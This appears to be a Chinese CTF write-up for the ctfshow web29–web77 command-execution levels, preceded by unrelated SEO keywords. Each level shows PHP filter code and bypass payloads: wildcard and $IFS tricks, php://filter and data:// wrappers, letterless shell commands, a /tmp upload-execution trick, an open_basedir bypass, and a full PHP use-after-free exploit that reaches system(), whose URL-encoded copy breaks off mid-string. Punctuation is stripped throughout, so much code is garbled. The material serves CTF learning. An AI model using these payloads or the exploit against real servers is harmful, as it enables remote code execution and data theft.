搭建外文网站,济南小程序开发多少钱,ps网站设计怎么做,成都seo正规优化目录
web29 过滤flag
web30 过滤system php
web31 过滤 cat|sort|shell|\.
这里有一个新姿势 可以学习一下
web32 过滤 #xff1b; .
web33
web34
web35
web36
web37 data伪协议
web38 短开表达式
web39
web40 __FILE__命令的扩展
web41
web42 重定向…目录
web29 过滤flag
web30 过滤system php
web31 过滤 cat|sort|shell|\.
这里有一个新姿势 可以学习一下
web32 过滤 .
web33
web34
web35
web36
web37 data伪协议
web38 短开表达式
web39
web40 __FILE__命令的扩展
web41
web42 重定向
web43
web44
web45
web46
web47
web48
web49
web50
web51 web52
web53
web54 c/bin/?at${IFS}fla?????
web55 base64返回值 bzip2解压后下载
base64 bzip2
web56 通过文件上传和 . 来执行命令
要注意 如果过滤了 空格 就无法实现 并且要通过system函数
web57 过滤数字 但是通过shell拼凑数字的方式
0x01
web58 show_source
web59
web60
web62-65
web66 show_source被禁用
web67 print_r被禁用
web68 highlight_file被禁用
web69 var_dump 被禁用
web70
web71 ob_end_clean 清零缓冲区 UAF命令执行
web72 bypass open_basedir
web73
web74
web75 PDD执行读取文件
web76
web77 FFI (PHP 7 7.4.0, PHP 8) web29 过滤flag
error_reporting(0);
if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag/i, $c)){eval($c);}}else{highlight_file(__FILE__);
}
这里能发现是匹配flag 但是存在高亮 高亮有需要路径
同时存在eval 命令执行
所以我们传入命令
但是过滤了flag
我们看看怎么绕过
?csystem(ls ./); 发现了 flag
我们绕过正则匹配flag字符串
payload1: ?csystem(cat f*); f*匹配 f开头的文件
payload2: ?csystem(cat fl\ag.php);
payload3: ?csystem(cat fla?????); 一定要5个 因为 ? 匹配一个任意字符
payload4: ?cecho cat flag.php; 内联
payload5: ?ceval($_GET[1]);1system(cat flag.php);web30 过滤system php error_reporting(0);
if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag|system|php/i, $c)){
过滤了关键词eval($c);}}else{highlight_file(__FILE__);
}
system 可以使用
exec代替
还存在很多
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec() php可以使用???代替
payload1: ?cecho exec(cat f*);
payload2: ?cecho exec(cat fla?????);web31 过滤 cat|sort|shell|\.
error_reporting(0);
if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag|system|php|cat|sort|shell|\.| |\/i, $c)){eval($c);}}else{highlight_file(__FILE__);
}
cat被过滤了
我们可以使用
more:一页一页的显示档案内容less:与 more 类似 head:查看头几行tac:从最后一行开始显示可以看出 tac 是cat 的反向显示tail:查看尾几行nl显示的时候顺便输出行号od:以二进制的方式读取档案内容vi:一种编辑器这个也可以查看vim:一种编辑器这个也可以查看sort:可以查看payload1: ?ceval($_GET[1]);1system(cat f*);
payload2: ?cinclude($_GET[1]);1php://filter/readconvert.base64-encode/resourceflag.php这里有一个新姿势 可以学习一下 我们首先了解一下代码
__FILE__ 表示当前文件
完整路径和文件名dirname()
获取一个网站路径的目录名scandir()读取目录的文件 然后作为一个数组print_r()打印数组内容print_r(scnandir(dirname(__FILE__)));1.执行 __FILE__ 获取当前文件的完整路径 例如 /var/www/html/1.php2.执行dirname 获取目录名 即 /var/www/html3.将目录下的内容转为数组 4.通过print_r数组输出 这里能发现当前目录下存在 flag.php 和 index.php
通过这个我们可以读取 目录文件
然后我们需要选中文件
print_r(next(array_reverse(scandir(dirname((__FILE__))))));array_reverse() 倒序排列next() 指向数组下一元素其实可以直接选择?cprint_r(scandir(dirname((__FILE__)))[2]); 最后通过高亮返回代码即可
?chighlight_file(scandir(dirname((__FILE__)))[2]); web32 过滤 .
这道题把我们的 ) 也过滤了 所以刚刚学会的东西 没办法了
error_reporting(0);
if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag|system|php|cat|sort|shell|\.| |\|\|echo|\;|\(/i, $c)){eval($c);}}else{highlight_file(__FILE__);
}
主要是符号的过滤
所以这道题
我们可以使用
payload1: ?cinclude$_GET[1]?1php://filter/readconvert.base64-encode/resourceflag.php
payload2: ?cinclude$_GET[1]?1data://text/plain,?php system(cat flag.php);?web33
error_reporting(0);
if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag|system|php|cat|sort|shell|\.| |\|\|echo|\;|\(|\/i, $c)){eval($c);}}else{highlight_file(__FILE__);
}
和32差不多
过滤的东西不影响我们通过逃逸参数1
/?cinclude$_GET[1]?1php://filter/readconvert.base64-encode/resourceflag.php
web34 error_reporting(0);
if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag|system|php|cat|sort|shell|\.| |\|\|echo|\;|\(|\:|\/i, $c)){eval($c);}}else{highlight_file(__FILE__);
}
好像还是可以使用
只是多过滤了一个 ;
?cinclude$_GET[1]?1php://filter/readconvert.base64-encode/resourceflag.php
web35
error_reporting(0);
if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag|system|php|cat|sort|shell|\.| |\|\|echo|\;|\(|\:|\|\|\/i, $c)){eval($c);}}else{highlight_file(__FILE__);
}
一样的 只要没过滤 include 我们就可以使用之前的payload
这题我们使用看看 require
/?crequire$_GET[1]?1php://filter/readconvert.base64-encode/resourceflag.php web36 error_reporting(0);
if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag|system|php|cat|sort|shell|\.| |\|\|echo|\;|\(|\:|\|\|\|\/|[0-9]/i, $c)){eval($c);}}else{highlight_file(__FILE__);
}过滤了数字
没什么 只要把参数1 变为 a 就可以绕过了
/?crequire$_GET[a]?aphp://filter/readconvert.base64-encode/resourceflag.php
web37 data伪协议
//flag in flag.php
error_reporting(0);
if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag/i, $c)){include($c);echo $flag;}}else{highlight_file(__FILE__);
}
匹配flag的字符串
这里不能使用php://filter来读取 因为过滤了flag
但是我们可以使用data伪协议
?cdata://text/plain,?php system(tac fla?.php);? 在data中 还可以指定 ;base64
data://text/plain;bvase64,base64加密后的命令
web38 短开表达式
error_reporting(0);
if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag|php|file/i, $c)){include($c);echo $flag;}}else{highlight_file(__FILE__);
} ?cdata://text/plain,?system(tac fla?.?hp);? 这里是使用了短开表达式
? 相当于 ?php echo 对后面的php也模糊匹配
就可以了
web39
//flag in flag.php
error_reporting(0);
if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag/i, $c)){include($c..php);}}else{highlight_file(__FILE__);
}
?cdata://text/plain,?php system(tac fla?.php);?
因为data是将后面的php直接执行
web40 __FILE__命令的扩展 if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/[0-9]|\~|\|\|\#|\\$|\%|\^|\|\*|\|\|\-|\|\|\{|\[|\]|\}|\:|\|\|\,|\|\.|\|\/|\?|\\\\/i, $c)){eval($c);}}else{highlight_file(__FILE__);
} 过滤了很多符号和数字
这里没有过滤字母
可以使用我们之前的姿势来读取
?chighlight_file(next(array_reverse((scandir(dirname((__FILE__)))))));
这里补充一下知识点
__FILE__当前文件的目录print_r 数组的输出print_r(dirname(__FILE__));可以打印出当前文件的父级目录print_r(scandir(dirname(__FILE__)));把父级目录中的文件 通过数组来打印出来array_reverse()倒叙输出next()
指向当前指针的下一位end()
指向数组最后一位reset()
指向数组第一个prev()
指针往回走一位each()
返回当前指针的值 并且指针向前走一位 web41
这道题就是使用师傅的脚本来跑就可以了
web42 重定向
if(isset($_GET[c])){$c$_GET[c];system($c. /dev/null 21);
}else{highlight_file(__FILE__);
}
system($c. /dev/null 21);我们的标准输入为 1 输出为2这个其实可分解1/dev/null 输入输出到null 黑洞21 输出设为输入其实就是直接把命令抛弃
这道题目我们直接使用 截断即可
payload1: ls%0a
payload2: ls;
payload3: lsls 这里的需要url编码 %26%26 payload1: cat flag.php%0a
payload2: cat flag.php;
payload3: cat flag.phpls 这里的需要url编码 %26%26 web43
if(isset($_GET[c])){$c$_GET[c];if(!preg_match(/\;|cat/i, $c)){system($c. /dev/null 21);}
}else{highlight_file(__FILE__);
}
过滤cat 和 分号
payload1: ls%26%26ls
payload2: ls%0a payload1:tac flag.php%0a
payload2 tac flag.php%26%26ls pay web44
if(isset($_GET[c])){$c$_GET[c];if(!preg_match(/;|cat|flag/i, $c)){system($c. /dev/null 21);}
}else{highlight_file(__FILE__);
}
加了过滤flag 可以使用模糊匹配
payload1:tac fla?.php%0a
payload2 tac fla?.php%26%26ls web45 if(isset($_GET[c])){$c$_GET[c];if(!preg_match(/\;|cat|flag| /i, $c)){system($c. /dev/null 21);}
}else{highlight_file(__FILE__);
}
加了个空格过滤
${IFS}
$IFS$9payload1:tac$IFS$9fla?.php%0a
payload2 tac$IFS$9fla?.php%26%26ls web46 if(isset($_GET[c])){$c$_GET[c];if(!preg_match(/\;|cat|flag| |[0-9]|\\$|\*/i, $c)){system($c. /dev/null 21);}
}else{highlight_file(__FILE__);
}
过滤数字 $ 还有* %09 是 tab的url编码
tac%09fla?.php%0a
tac%09fla?.php%26%26ls web47
if(isset($_GET[c])){$c$_GET[c];if(!preg_match(/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i, $c)){system($c. /dev/null 21);}
}else{highlight_file(__FILE__);
}
过滤了更多的命令 用上一个payload接着打
tac%09fla?.php%0a
tac%09fla?.php%26%26ls
web48
if(isset($_GET[c])){$c$_GET[c];if(!preg_match(/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\/i, $c)){system($c. /dev/null 21);}
}else{highlight_file(__FILE__);
}
好像还是可以接着打
只是过滤了更多的命令和 内联执行
tac%09fla?.php%0a
tac%09fla?.php%26%26ls
web49 if(isset($_GET[c])){$c$_GET[c];if(!preg_match(/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\|\%/i, $c)){system($c. /dev/null 21);}
}else{highlight_file(__FILE__);
}
但是我们这个在浏览器解析 自动会解析为 tab和换行
所以过滤无法过滤
所以接着打
tac%09fla?.php%0a
tac%09fla?.php%26%26ls
web50
*/if(isset($_GET[c])){$c$_GET[c];if(!preg_match(/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\|\%|\x09|\x26/i, $c)){system($c. /dev/null 21);}
}else{highlight_file(__FILE__);
}
发现过滤了26和09的编码
并且这个题目的 ? 无法使用 所以我们需要通过 绕过 因为正则只匹配flag完整字符串
tacflag.php%0a
tacflag.php||ls
web51 if(isset($_GET[c])){$c$_GET[c];if(!preg_match(/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\|\%|\x09|\x26/i, $c)){system($c. /dev/null 21);}
}else{highlight_file(__FILE__);
}
过滤了一些输出的命令
nlflag.php%0a
nlflag.php||ls web52 if(isset($_GET[c])){$c$_GET[c];if(!preg_match(/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\|\%|\x09|\x26|\|\/i, $c)){system($c. /dev/null 21);}
}else{highlight_file(__FILE__);
}
发现又过滤了 但是把我们的 $放出来了
这里我们首先先看看ls
?cls|| 直接访问一下flag.php
/?cnl${IFS}flag.php|| 发现没有
我们看看根目录
?cls${IFS}/|| 发现了flag
直接访问
?cnl${IFS}/flag|| web53
if(isset($_GET[c])){$c$_GET[c];if(!preg_match(/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\|\%|\x09|\x26|\|\/i, $c)){echo($c);$d system($c);echo br.$d;}else{echo no;}
}else{highlight_file(__FILE__);
}
/?cnl${IFS}fla?.php web54 c/bin/?at${IFS}fla?????
if(isset($_GET[c])){$c$_GET[c];if(!preg_match(/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\|\%|\x09|\x26|\|\/i, $c)){system($c);}
}else{highlight_file(__FILE__);
} 发现nl也过滤了
这里还有其他读取的方式
?cpaste${IFS}fla?.php 或者继续使用cat 通过模糊匹配
?c/bin/?at${IFS}fla?????
web55 base64返回值 bzip2解压后下载
if(isset($_GET[c])){$c$_GET[c];if(!preg_match(/\;|[a-z]|\|\%|\x09|\x26|\|\/i, $c)){system($c);}
}else{highlight_file(__FILE__);
}
过滤a-z字母
base64
我们可以通过bin下的base64命令返回
?c/???/????64 ????.??? bzip2
bzip是存在 /usr/bin/bzip2
所以我们构造
?c/???/???/????2 ????.???然后访问
/flag.php.bz2
得到文件
web56 通过文件上传和 . 来执行命令
要注意 如果过滤了 空格 就无法实现 并且要通过system函数
\;|[a-z]|[0-9]|\|\|\#|\|\|\%|\x09|\x26|\x0a|\|\,|\*|\|这个情况的过滤不可使用\;|[a-z]|[0-9]|\|\|\#|\|\|\%|\x09|\x26|\x0a|\|\,|\*|\这个情况下的过滤可以使用因为第一个是会匹配所有字符在自己测试这里蠢了 困扰了很久
无字母数字的命令执行(ctfshow web入门 55_无字母数字执行命令_Firebasky的博客-CSDN博客
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
// 你们在炫技吗
if(isset($_GET[c])){$c$_GET[c];if(!preg_match(/\;|[a-z]|[0-9]|\\$|\(|\{|\|\|\|\%|\x09|\x26|\|\/i, $c)){system($c);}
}else{highlight_file(__FILE__);
}
过滤了很多符号
过滤了数字和字母
我们无法使用数字和字母来执行命令
但是其没有过滤 . (点)
这道题主要的方向
1.没有过滤.
在linux中 .不需要x权限就可以执行所以我们如果有一个可控的文件
那么我们可以直接执行这个文件2.我们如果上传一个文件 一般情况下是临时保存在 ./tmp/phpXXXXXX中其中后六位是随机生成的大小写字母
这里我们就可以通过本地的网站 链接到 攻击的靶场 然后通过post文件
达到执行我们上传的木马文件
但是我们如何通过过滤去访问文件呢
./tmp/phpXXXXXX 首先我们可以通过 来模糊匹配./???/???XXXXXX 那我们如何匹配后面的呢因为/tmp/ 下会有很多类似的文件所以我们可以通过正则匹配来匹配文件 我们能发现 大写字母在 和[之间
那我们只需要通过正则匹配 -[即可
所以我们get的方式就是
?c./???/????????[-[]!DOCTYPE html
html langen
headmeta charsetUTF-8meta nameviewport contentwidthdevice-width, initial-scale1.0titlePOST数据包POC/title
/head
body
form actionhttp://cd3eb1d9-31ec-4644-b057-c38153f6a911.challenge.ctf.show/ methodpost enctypemultipart/form-data
!--链接是当前打开的题目链接--label forfile文件名/labelinput typefile namefile idfilebrinput typesubmit namesubmit value提交
/form
/body
/html本地搭建发送包的文件
随便上传一个文件 这样就行了
然后通过pwd 执行绝对路径
cat /var/www/html/flag.php
如果没有回显就多发几次 因为最后一位不一定是大写 web57 过滤数字 但是通过shell拼凑数字的方式
?php/*
# -*- coding: utf-8 -*-
# Author: h1xa
# Date: 2020-09-05 20:49:30
# Last Modified by: h1xa
# Last Modified time: 2020-09-08 01:02:56
# email: h1xactfer.com
# link: https://ctfer.com
*/// 还能炫的动吗
//flag in 36.php
if(isset($_GET[c])){$c$_GET[c];if(!preg_match(/\;|[a-z]|[0-9]|\|\|\#|\|\|\|\%|\x09|\x26|\x0a|\|\|\.|\,|\?|\*|\-|\|\[/i, $c)){system(cat .$c..php);}
}else{highlight_file(__FILE__);
}
发现过滤了 ? . 所以56的方法也无法实现
这里提示我们 flag是在36.php处
需要运用到linux shell的特性
0x01
${_} 返回上一条命令 那我们如果没有命令呢 $(())
做运算 那如果我们将 ${_}的值放入是多少呢
echo $((${_})) 这里就相当于 $((0)) 将0 做运算 那么就是 0
那我们如果 通过 ~ 取反呢 发现取反后是-1
那我们如果想要-2怎么办
-1-1-2所以我们只需要将两个 -1做运算即可
echo $(($((~${_}))$((~${_})))) 那我们想要-3也很简单了
echo $(($((~${_}))$((~${_}))$((~${_})))) 那既然他说是在 36.php 那我们直接拼凑 -36出来
echo $(($((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_})))) 那我们再做一次取反即可
但是取反后是35 所以我们在最后再加一个即可
echo $((~$(($((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))))))echo $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))) 现在我们就可以直接访问36了
但是我们无法知道命令
所以我们可以使用
$(($(())))0$(($((~$(())))$((~$(())))))-2$(($((~$(())))$((~$(())))$((~$(())))))-3
但是其实两个方式都可以访问 只是第一个着重于命令 web58 show_source
?php/*
# -*- coding: utf-8 -*-
# Author: Lazzaro
# Date: 2020-09-05 20:49:30
# Last Modified by: h1xa
# Last Modified time: 2020-09-07 22:02:47
# email: h1xactfer.com
# link: https://ctfer.com*/// 你们在炫技吗
if(isset($_POST[c])){$c $_POST[c];eval($c);
}else{highlight_file(__FILE__);
}
发现是变为 POST了
首先通过post传递system()
csystem(ls); 发现禁用了 其他函数都被禁用了
所以只能使用php内置函数
cprint_r(scandir(dirname(__FILE__))); chighlight_file(scandir(dirname(__FILE__))[2]);
或者直接使用show_source来读取
cshow_source(flag.php);
web59
?php/*
# -*- coding: utf-8 -*-
# Author: Lazzaro
# Date: 2020-09-05 20:49:30
# Last Modified by: h1xa
# Last Modified time: 2020-09-07 22:02:47
# email: h1xactfer.com
# link: https://ctfer.com*/// 你们在炫技吗
if(isset($_POST[c])){$c $_POST[c];eval($c);
}else{highlight_file(__FILE__);
}
继续尝试
chighlight_file(scandir(dirname(__FILE__))[2]);
这个方法还是可以
发现题目是一样的 我也不懂
cshow_source(flag.php);
web60
?php/*
# -*- coding: utf-8 -*-
# Author: Lazzaro
# Date: 2020-09-05 20:49:30
# Last Modified by: h1xa
# Last Modified time: 2020-09-07 22:02:47
# email: h1xactfer.com
# link: https://ctfer.com*/// 你们在炫技吗
if(isset($_POST[c])){$c $_POST[c];eval($c);
}else{highlight_file(__FILE__);
}
发现还是一样的
web62-65
全是一样的。。。。
web66 show_source被禁用
?php/*
# -*- coding: utf-8 -*-
# Author: Lazzaro
# Date: 2020-09-05 20:49:30
# Last Modified by: h1xa
# Last Modified time: 2020-09-07 22:02:47
# email: h1xactfer.com
# link: https://ctfer.com*/// 你们在炫技吗
if(isset($_POST[c])){$c $_POST[c];eval($c);
}else{highlight_file(__FILE__);
}
chighlight_file(scandir(dirname(__FILE__))[2]); 发现文件不对
那我们直接去根目录看看
cprint_r(scandir(/)); 发现了flag.txt那我们直接读取就可以了
chighlight_file(/.scandir(/)[6]);chighlight_file(/flag.txt);web67 print_r被禁用 发现print_r被禁用了
那我们还有一个var_dump
cvar_dump(scandir(/)); 读取即可
chighlight_file(/flag.txt);
web68 highlight_file被禁用 一打开就是 报错
那我们就知道是 highlight_file 被禁止
我们继续看看
cvar_dump(scandir(/)); 那我们直接包含 flag.txt文件
cinclude(/flag.txt);
web69 var_dump 被禁用 那我们可以使用另一个
cvar_export(scandir(/)); 然后继续include访问
cinclude(/flag.txt);
web70 和上一题一样做法
cvar_export(scandir(/));
cinclude(/flag.txt);
web71 ob_end_clean 清零缓冲区 UAF命令执行 给了我们源代码
?php/*
# -*- coding: utf-8 -*-
# Author: Lazzaro
# Date: 2020-09-05 20:49:30
# Last Modified by: h1xa
# Last Modified time: 2020-09-07 22:02:47
# email: h1xactfer.com
# link: https://ctfer.com*/error_reporting(0);
ini_set(display_errors, 0);
// 你们在炫技吗
if(isset($_POST[c])){$c $_POST[c];eval($c);$s ob_get_contents();
结果存入缓冲区ob_end_clean();
删除清楚缓冲区echo preg_replace(/[0-9]|[a-z]/i,?,$s);
如果 s存在 数字字母就用 ?代替
}else{highlight_file(__FILE__);
}?你要上天吗
这里主要是两个函数
ob_get_contents()
得到的值存入缓冲区
ob_end_clean()
将缓冲区清除这里能发现第一次的输出 没有实现
而是输出了第二次的
那我们思考 我们能不能直接输入一个exit() 退出指令
让程序执行完我们的命令后直接退出
cinclude(/flag.txt);exit(); 首先我们看看没有exit函数的情况 访问两个flag 发现会先读取 然后就进行缓冲区的删除 因为我没有送入缓冲区 所以没有显示 发现 我们只要加了函数后 程序就退出了
所以执行完include后 执行exit 这样就退出了 就不会执行下面的函数了
这样我们这道题也做完了
cinclude(/flag.txt);exit(); web72 bypass open_basedir
?php/*
# -*- coding: utf-8 -*-
# Author: Lazzaro
# Date: 2020-09-05 20:49:30
# Last Modified by: h1xa
# Last Modified time: 2020-09-07 22:02:47
# email: h1xactfer.com
# link: https://ctfer.com*/error_reporting(0);
ini_set(display_errors, 0);
// 你们在炫技吗
if(isset($_POST[c])){$c $_POST[c];eval($c);$s ob_get_contents();ob_end_clean();echo preg_replace(/[0-9]|[a-z]/i,?,$s);
}else{highlight_file(__FILE__);
}?你要上天吗
这里遇到了open_basedr的限制
绕过 open_basedir_双层小牛堡的博客-CSDN博客
学习完后来测试这个题目
通过 glob协议配合函数接口绕过 open_basedir 然后再绕过 缓冲区清零清理
c??php $anew DirectoryIterator(glob:///*);foreach($a as $f){echo($f-__toString(). );} exit(0);?绕过了 并且打印了 根目录的内容 那么我们 看看能不能访问 对于uaf 了解很少 应该是pwn的内容
?phpfunction ctfshow($cmd) {global $abc, $helper, $backtrace;class Vuln {public $a;public function __destruct() { global $backtrace; unset($this-a);$backtrace (new Exception)-getTrace();if(!isset($backtrace[1][args])) {$backtrace debug_backtrace();}}}class Helper {public $a, $b, $c, $d;}function str2ptr($str, $p 0, $s 8) {$address 0;for($j $s-1; $j 0; $j--) {$address 8;$address | ord($str[$p$j]);}return $address;}function ptr2str($ptr, $m 8) {$out ;for ($i0; $i $m; $i) {$out . sprintf(%c,($ptr 0xff));$ptr 8;}return $out;}function write($str, $p, $v, $n 8) {$i 0;for($i 0; $i $n; $i) {$str[$p $i] sprintf(%c,($v 0xff));$v 8;}}function leak($addr, $p 0, $s 8) {global $abc, $helper;write($abc, 0x68, $addr $p - 0x10);$leak strlen($helper-a);if($s ! 8) { $leak % 2 ($s * 8) - 1; }return $leak;}function parse_elf($base) {$e_type leak($base, 0x10, 2);$e_phoff leak($base, 0x20);$e_phentsize leak($base, 0x36, 2);$e_phnum leak($base, 0x38, 2);for($i 0; $i $e_phnum; $i) {$header $base $e_phoff $i * $e_phentsize;$p_type leak($header, 0, 4);$p_flags leak($header, 4, 4);$p_vaddr leak($header, 0x10);$p_memsz leak($header, 0x28);if($p_type 1 $p_flags 6) { $data_addr $e_type 2 ? $p_vaddr : $base $p_vaddr;$data_size $p_memsz;} else if($p_type 1 $p_flags 5) { $text_size $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) $elf;for($i 0; $i $data_size / 8; $i) {$leak leak($data_addr, $i * 8);if($leak - $base 0 $leak - $base $data_addr - $base) {$deref leak($leak);if($deref ! 0x746e6174736e6f63)continue;} else continue;$leak leak($data_addr, ($i 4) * 8);if($leak - $base 0 $leak - $base $data_addr - $base) {$deref leak($leak);if($deref ! 0x786568326e6962)continue;} else continue;return $data_addr $i * 8;}}function get_binary_base($binary_leak) {$base 0;$start $binary_leak 0xfffffffffffff000;for($i 0; $i 0x1000; $i) {$addr $start - 0x1000 * $i;$leak leak($addr, 0, 7);if($leak 0x10102464c457f) {return $addr;}}}function get_system($basic_funcs) {$addr $basic_funcs;do {$f_entry leak($addr);$f_name leak($f_entry, 0, 6);if($f_name 0x6d6574737973) {return leak($addr 8);}$addr 0x20;} while($f_entry ! 0);return false;}function trigger_uaf($arg) {$arg str_shuffle(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA);$vuln new Vuln();$vuln-a $arg;}if(stristr(PHP_OS, WIN)) {die(This PoC is for *nix systems only.);}$n_alloc 10; $contiguous [];for($i 0; $i $n_alloc; $i)$contiguous[] str_shuffle(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA);trigger_uaf(x);$abc $backtrace[1][args][0];$helper new Helper;$helper-b function ($x) { };if(strlen($abc) 79 || strlen($abc) 0) {die(UAF failed);}$closure_handlers str2ptr($abc, 0);$php_heap str2ptr($abc, 0x58);$abc_addr $php_heap - 0xc8;write($abc, 0x60, 2);write($abc, 0x70, 6);write($abc, 0x10, $abc_addr 0x60);write($abc, 0x18, 0xa);$closure_obj str2ptr($abc, 0x20);$binary_leak leak($closure_handlers, 8);if(!($base get_binary_base($binary_leak))) {die(Couldnt determine binary base address);}if(!($elf parse_elf($base))) {die(Couldnt parse ELF header);}if(!($basic_funcs get_basic_funcs($base, $elf))) {die(Couldnt get basic_functions address);}if(!($zif_system get_system($basic_funcs))) {die(Couldnt get zif_system address);}$fake_obj_offset 0xd0;for($i 0; $i 0x110; $i 8) {write($abc, $fake_obj_offset $i, leak($closure_obj, $i));}write($abc, 0x20, $abc_addr $fake_obj_offset);write($abc, 0xd0 0x38, 1, 4); write($abc, 0xd0 0x68, $zif_system); ($helper-b)($cmd);exit();
}ctfshow(cat /flag0.txt);ob_end_flush();
?通过url编码
payload
cfunction%20ctfshow(%24cmd)%20%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(!isset(%24backtrace%5B1%5D%5Bargs%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20class%20Helper%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24j%20%3D%20%24s-1%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%2B%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%3D0%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C(%24v%20%26%200xff))%3B